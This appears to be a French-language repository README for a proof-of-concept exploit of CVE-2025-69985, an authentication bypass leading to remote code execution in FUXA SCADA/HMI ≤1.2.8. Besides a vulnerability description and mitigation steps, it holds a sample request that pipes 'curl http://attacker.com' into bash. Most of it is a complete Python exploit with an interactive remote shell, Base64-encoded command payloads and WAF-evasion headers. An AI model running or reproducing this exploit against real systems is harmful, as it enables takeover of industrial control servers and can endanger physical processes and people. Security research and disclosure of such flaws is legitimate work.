
Exploit PoC pour CVE-2025-69985 : contournement de l'authentification menant à une RCE dans FUXA SCADA ≤1.2.8. Comprend un exploit Python modulaire avec shell interactif, encodage de charge utile en Base64 et support de proxy pour les tests de pénétration.
Ce dépôt contient une Preuve de Concept (PoC) et une documentation technique détaillée sur la vulnérabilité CVE-2025-69985, qui affecte FUXA (versions ≤1.2.8). La vulnérabilité permet à un attaquant non authentifié d'exécuter des commandes arbitraires sur le serveur (RCE) via un contournement d'authentification dans le middleware de l'application.
Contrairement aux vulnérabilités traditionnelles comme les débordements de mémoire sous Windows, cette faille réside dans une faiblesse logique du middleware, où le serveur confond les requêtes externes avec les internes en raison d'une validation incorrecte de l'en-tête Referer.
| CVE | CVE-2025-69985 |
|---|---|
| Type | Authentication Bypass via Alternate Path (CWE-288) |
| Impact | Remote Code Execution (RCE) |
| Gravité | 9.8 CRITIQUE (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Versions Affectées | FUXA ≤ 1.2.8 |
| Plateforme | Node.js |
| Produit | FUXA (SCADA/HMI basé sur le web) |
Le middleware de FUXA fait aveuglément confiance à l'en-tête Referer. Si un attaquant envoie une requête avec :
Referer: http://<target-ip>/
Le serveur suppose que la requête est interne et omet la vérification du jeton JWT, permettant l'accès à des points de terminaison protégés sans authentification.
Une fois l'authentification contournée, l'attaquant peut interagir avec le point de terminaison /api/runscript, conçu pour exécuter des scripts Node.js. En envoyant une charge utile JSON malveillante, on obtient le contrôle total du processus serveur.
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ Remarque : Cet exemple est illustratif. Ne pas exécuter dans des environnements de production sans autorisation.
| Produit | Versions | Plateforme |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
Mise à Jour Immédiate Mettre à jour FUXA vers une version supérieure à 1.2.8 (correctif officiel).
Correctif Manuel
Modifier server/api/jwt-helper.js pour supprimer la confiance dans l'en-tête Referer comme méthode d'authentification.
Implémentation d'un WAF
Configurer un pare-feu applicatif web pour bloquer les requêtes vers le point de terminaison /api/runscript qui ne proviennent pas de réseaux administratifs connus, indépendamment de l'en-tête Referer.
🔴 Ce matériel est destiné uniquement à des fins éducatives et d'audit de sécurité. 🔴 L'utilisation de ces techniques contre des systèmes sans autorisation explicite est illégale. 🔴 Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ces informations.
Fonctionnalités avancées qui élèvent cet exploit au niveau professionnel (style Exploit-DB ou outils Red Team) :
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# Configuración estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Verifica si el endpoint existe antes de atacar."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
except Exception:
return False
def execute(self, command: str) -> str:
# Payload mejorado: Encoding en Base64 para evitar romper el JSON
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-c", "--cmd", help="Single command to execute")
parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"Targeting: {args.url}")
if args.interactive:
Logger.success("Entering interactive mode. Type 'exit' to quit.")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"Executing: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
⚠️ Utilisation responsable : Exécuter uniquement dans des environnements contrôlés et avec une autorisation expresse.
| Caractéristique | Description |
|---|
| 🔹 Gestion Dynamique du Shell | Mode --interactive (-i) qui ouvre un REPL interactif pour exécuter plusieurs commandes. |
| 🔹 Détection et Empreinte | Vérifie si le point de terminaison /api/runscript existe avant de lancer l'attaque (check_vulnerable()). |
| 🔹 Charge Utile Améliorée | Commande encodée en Base64 pour éviter les problèmes d'échappement de caractères (&, >, ", etc.). |
| 🔹 Robustesse Réseau | Support des User-Agent aléatoires et des proxys (utile pour Burp Suite ou le débogage). |
| 🔹 POO (Programmation Orientée Objet) | Classe FuxaExploit modulaire, réutilisable et extensible. |
| Caractéristique | Bénéfice |
|---|
| 🔹 POO | Modularité : La classe FuxaExploit peut être importée dans d'autres scripts ou outils. |
| 🔹 Base64 Bypass | Évite les problèmes d'échappement dans les commandes complexes (ex: &, >, ", etc.). |
🔹 Pseudo-Shell (-i) | Permet d'explorer le système de manière interactive sans redémarrer le script. |
| 🔹 Support Proxy | Utile pour déboguer l'exploit en utilisant des outils comme Burp Suite ou mitmproxy. |
| 🔹 En-têtes Réalistes | User-Agent de navigateur pour éviter les signatures WAF basiques. |